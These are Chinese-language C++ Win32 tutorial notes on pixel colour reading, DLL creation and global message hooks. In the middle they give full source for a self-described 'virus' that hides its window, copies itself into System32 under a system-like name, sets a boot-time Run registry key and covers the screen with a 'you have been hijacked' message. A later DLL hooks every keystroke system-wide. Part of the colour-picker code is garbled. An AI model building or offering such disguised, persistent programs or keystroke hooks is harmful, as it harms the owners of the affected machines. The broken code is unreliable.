API及类型
HANDLE
类型 ->进程句柄
HWND
类型 ->窗口句柄句柄
CreateToolhelp32Snapshot(DWORD dwFlags,DWORD th32ProcessID)
可以获取系统中正在运行的进程信息,线程信息
Process32Next()
下一个进程的句柄。
VirtualAllocEx ()
在指定进程的虚拟空间保留或提交内存区域,除非指定MEM_RESET参数,否则将该内存区域置0。
SuspendThread()
挂起线程
视觉
什么是C++视觉?利用机器识别一张图片,可用作于游戏脚本(按键精灵类似)
既然是视觉,那么就是电脑上的显存数据(显卡设备)
windows的显存数据,都保存在一个叫做HDC的上下文的句柄中
我们要取到颜色值,首先要获取显存数据,然后根据显存指针得到你想要的点的颜色值
HDC myDc = GetDC();需要一个窗口句柄
GetDC();获取某一个窗口的HDC。参数窗口句柄如果穿0那么就是获取桌面
获取鼠标位置
DWORD pos;
GetCursorPos(&pos) 获取鼠标位置
获取指定位置颜色获取的是BRG 不是RGB我们需要转换
HDC dc设备 = GetDC(0); //获取桌面的DC
int BGR = GetPixel(dc设备,100,100); //获取桌面位置在100,100的颜色值
解析获得的BGR
例如我们获得的BGR是
6531137
这个值转为二进制011000111010100001000001
我们以8位数为一个单位
B | G | R |
---|---|---|
01100011 | 10101000 | 01000001 |
按照这个规律我们往数据的左侧填充2 * 8 单位的0是不是就是BGR中的B
也就是说BGR往右移16就是B => BGR>>16
NULL | NULL | B |
---|---|---|
00000000 | 00000000 | 01100011 |
继续我们获得BGR中的G
按照这个规律我们往数据的左侧填充 8 单位的0
也就是说BGR往右移8就是 => BGR>>8
NULL | B | G |
---|---|---|
00000000 | 01100011 | 10101000 |
然后我们在进行二进制的位运算(&
) BGR>>8 & 0xff
0XFF在二进制中是11111111
NULL | B | G |
---|---|---|
00000000 | 01100011 | 10101000 |
00000000 | 00000000 | 11111111 |
&运算同为1则结果为1,不相同则为0,这样我们就得到了R
获取R,这个就很简单了,我们直接进行位运算(&
)0XFF就是最后的R了
实战视觉 - 取色器
#include
#include
using namespace std;
int main()
{
/*
用户按下ctrl 就获取鼠标当前位置的颜色;
*/
HDC dc设备 = GetDC(0);
int beforeX= NULL, beforeY = NULL;
while (true)
{
if (-32767 == GetAsyncKeyState(VK_CONTROL))
{//然后我们获取鼠标的位置
POINT pos;
GetCursorPos(&pos);
if (pos.x - beforeX || pos.y - beforeY )
{//必须保证鼠标和上次的坐标不一致,这样可以避免重复取色
int resut = GetPixel(dc设备, pos.x, pos.y);
cout << endl;
cout << "十进制颜色"
<< resut
<> 8 & 0xFF)
<< " B:"
<< (resut >> 16)
<< endl;
beforeX = pos.x;
beforeY = pos.y;
}
}
}
system("pause");
return 0;
}
查找某个窗口的句柄
FindWindow(LPCSTR lpClassName ,LPCSTR lpWindowName)
lpClassName->窗口类名、lpWindowName->窗口名字
返回一个HWND值
做一个视觉上的"病毒"程序
先上效果图
无法关闭,开机自启动,伪装成系统文件
#include
#include
#include
#pragma warning(disable:4996)//忽略4996的报错
#pragma comment(linker, "/entry:mainCRTStartup /subsystem:windows")//使窗体不显示出来
using namespace std;
void test()
{
srand(time(0));
}
int gerRand(int a,int b)
{
return (rand() % (b - a + 1) + a);
}
int main()
{
HDC dc = GetDC(0);
HFONT 字体 = CreateFont(
25,10,0,0,5,0,0,0,ANSI_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH | FF_SWISS,"微软雅黑"
);
SetTextColor(dc,RGB(255,0,0));//设置字体颜色
SelectObject(dc,字体);
SetBkMode(dc, TRANSPARENT);//设置背景为透明
char PATH[MAXBYTE] = {0}; //设置文件的路径
GetModuleFileName(NULL, PATH,MAXBYTE);//获取文件的名字保存
PVOID oldValue = 0;
Wow64DisableWow64FsRedirection(&oldValue);//使用这个函数后可重定向访问到正确的 64 位注册项
CHAR copy[MAXBYTE] = { 0 }; //把现在的文件路径考到copy字段
strcat(copy,"copy \"");
strcat(copy, PATH);
strcat(copy,"\" \"");
strcat(copy, "C:\\Windows\\System32\\cmdkey32.exe");
strcat(copy,"\"");
/*
此时的copy的语句是
copy "debug下的当前程序 c盘/\\Windows\\System32\\cmdkey32.exe"
就是把程序拷贝到c盘下
*/
system(copy);//执行cmd命令
/* 把程序放入开机自动运行的注册表 */
HKEY Hkey = 0;
RegCreateKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0, 0, REG_OPTION_NON_VOLATILE, KEY_WOW64_64KEY | KEY_ALL_ACCESS, NULL,
&Hkey, NULL
);
RegSetKeyValueA(Hkey,"Mypro",0,REG_SZ, (BYTE *)"C:\\Windows\\System32\\cmdkey32.exe",35);
while (true)
{
ExtTextOut(dc, gerRand(0,1920), gerRand(0, 1080), ETO_CLIPPED, NULL, "你已被劫持,请联系 · 十年之后", 38, 0);
//绘制出来
Sleep(20);
}
ReleaseDC(0,dc);
system("pause");
return 0;
}
DLL
使用vs创建一个空的DLL工程
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:/*被进程加载的时候调用*/
case DLL_THREAD_ATTACH:/*当进程有新的线程的时候*/
case DLL_THREAD_DETACH:/**当进程有一个线程被关闭的时候*/
case DLL_PROCESS_DETACH:/*进程被卸载的时候*/
break;
}
return TRUE;
}
然后编译生成一个DLL,我们在写一个exe程序也就是win32空程序调用刚刚我们写的DLL文件
重点是
HMODULE
类型 以及调用DLL函数LoadLibrary
exe程序
int main()
{
HMODULE hmodule = LoadLibrary(你刚刚生成的DLL路径);
if (!hmodule)
{
cout << "DLL加载失败" << endl;
}
Sleep(200000);
}
DLL中的变量、函数在其他exe程序中使用
变量调用
DLL
extern "C" int __declspec(dllexport) test = 3124; //定义变量test
exe
HMODULE hmodule = LoadLibrary(你刚刚生成的DLL路径);
int DLLinBian = *(int *)GetProcAddress(hmodule, "test");//获取值
函数调用
DLL
extern "C" int __declspec(dllexport) addSum(int a ,int b)
{
return a + b;
}
exe
typedef int*(*MYFn)(int,int);
MYFn DLLFn = (MYFn)GetProcAddress(hmodule, "addSum");
int a = (int)DLLFn(3, 4);
用DLL构建一个系统全局消息钩子
SetWindowsHookEx
钩子(Hook),是Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。当消息到达后,在目标窗口处理函数之前处理它。钩子机制允许应用程序截获处理Windows消息或特定事件
//DLL
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include
using namespace std;
/*
做一个全局的消息钩子函数
*/
/*
回调函数
CALLBACK_WH_GETMESSAGE : 处理监听鼠标键盘的回调函数
*/
LRESULT CALLBACK CALLBACK_WH_GETMESSAGE(_In_ int ncode, _In_ WPARAM wParm,LPARAM lParm)
{
cout <<"哈哈"<< endl;
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回调函数
处理
WH_CALLWNDPROC :拦截所有的SendMessage处理消息
*/
LRESULT CALLBACK CALLBACK_WH_CALLWNDPROC(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回调函数
处理
WH_CBTWH_DEBUG :拦截所有窗口事件
*/
LRESULT CALLBACK CALLBACK_WH_CBT(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回调函数
处理
WH_CBTWH_DEBUG : 拦截钩子(hook)创建的类型
*/
LRESULT CALLBACK CALLBACK_WH_CBTWH_DEBUG(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回调函数
处理
WH_FOREGROUNDIDLE : 拦截线程休眠,暂停线程的消息
*/
LRESULT CALLBACK CALLBACK_WH_FOREGROUNDIDLE(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
/*
回调函数
处理
WH_MOUSE_LL : 拦截鼠标消息
可以判断你的鼠标消息是模拟的还是硬件触发的
比如按键精灵就是模拟的或者mouse_event都是模拟的
*/
LRESULT CALLBACK CALLBACK_WH_MOUSE_LL(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
if(ncode == HC_ACTION) /*进入钩子必须判断*/
{
//return 如果一开始就return掉了 那么 你鼠标移动动不了了
/*
像一些大型的游戏他就很有可能在这里做了HOOK
判断鼠标移动是模拟的之后就直接return掉了
然后就不会相应你模拟操作的内容
*/
MOUSEHOOKSTRUCT pMouseHook = *((PMOUSEHOOKSTRUCT)lParm);
cout << pMouseHook.wHitTestCode << endl;
if (pMouseHook.wHitTestCode)
{//当为1时说明是 虚拟模拟的
//现在游戏可能就是这样屏蔽了你用脚本(按键键盘)屏蔽了
cout << "你模拟了鼠标操作" << endl;
}
else
{//说明他是用户自己操作了鼠标
cout << "我监控了你鼠标的记录" << endl;
}
}
return CallNextHookEx(NULL, ncode, wParm, lParm);
}
LRESULT CALLBACK CALLBACK_WH_KEYBOARD_LL(_In_ int ncode, _In_ WPARAM wParm, LPARAM lParm)
{
if (ncode == HC_ACTION)
{
if (WM_KEYDOWN == wParm)
{ //只处理键盘按下
KBDLLHOOKSTRUCT *KEY = (KBDLLHOOKSTRUCT*)lParm;
cout << "拦截到你的键盘消息,键盘码:" << KEY->vkCode << endl;
/*
这样就监控到你按了什么键盘
*/
if (KEY->vkCode == 97)
{//键盘码 - 数字键盘1
printf("屏蔽小键盘1\n");
/*
这样做 那么你按下数字键盘1 那么就不会打出1来了
*/
return true;
}
}
}
//return true; 如果这里直接返回 那么你的任何窗口都打不出字了
return CallNextHookEx(NULL, ncode, wParm, lParm); //不阻塞他消息运行
}
//导出开始HOOK函数
/*
hookType :钩子类型
ID:线程ID
钩子类型类型
*/
HINSTANCE 句柄 = NULL;
extern "C" _declspec(dllexport)HHOOK StartHook(CHAR hookType, DWORD ID)
{
HHOOK hok = NULL;
switch (hookType)
{
case 1:
/*
拦截键盘鼠标
*/
hok = SetWindowsHookEx(WH_GETMESSAGE, CALLBACK_WH_GETMESSAGE, 句柄, ID);
break;
case 2:
/*
拦截键盘
*/
hok = SetWindowsHookEx(WH_KEYBOARD_LL, CALLBACK_WH_KEYBOARD_LL, 句柄, ID);
MSG msg;
while (GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
break;
case 3:
/*
底层拦截鼠标消息
*/
hok = SetWindowsHookEx(WH_MOUSE_LL, CALLBACK_WH_MOUSE_LL, 句柄, ID);
MSG msgs;
while (GetMessage(&msgs, NULL, 0, 0))
{
TranslateMessage(&msgs);
DispatchMessage(&msgs);
}
break;
case 4:
break;
case 5:
break;
case 6:
break;
case 7:
break;
case 8:
break;
case 9:
break;
case 10:
break;
case 11:
break;
case 12:
break;
case 13:
break;
default:
break;
}
return hok;
}
extern "C" _declspec(dllexport)BOOL UnHook(HHOOK Hhook)
{
return UnhookWindowsHookEx(Hhook);
}
//DLL主函数
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:/*被进程加载的时候调用*/
句柄 = hModule;
break;
case DLL_THREAD_ATTACH:/*当进程有新的线程的时候*/
case DLL_THREAD_DETACH:/**当进程有一个线程被关闭的时候*/
case DLL_PROCESS_DETACH:/*进程被卸载的时候*/
break;
}
return TRUE;
}
exe
int main()
{
HMODULE DLL = LoadLibrary(L"E:\\Cdata01\\MYDLL\\Debug\\MYDLL.dll");
HHOOK(*StartHook)(CHAR, DWORD) = (HHOOK(*)(CHAR, DWORD))GetProcAddress(DLL,"StartHook");
BOOL(*UnHook)(HHOOK) = (BOOL(*)(HHOOK))GetProcAddress(DLL, "UnHook");
HHOOK JUB = StartHook(2, 0);
Sleep(200000);
}
CString转换成 char *
CString strFilePath = _T("测试的");
USES_CONVERSION;
char* p = T2A(strFilePath.GetBuffer(0));
strFilePath.ReleaseBuffer();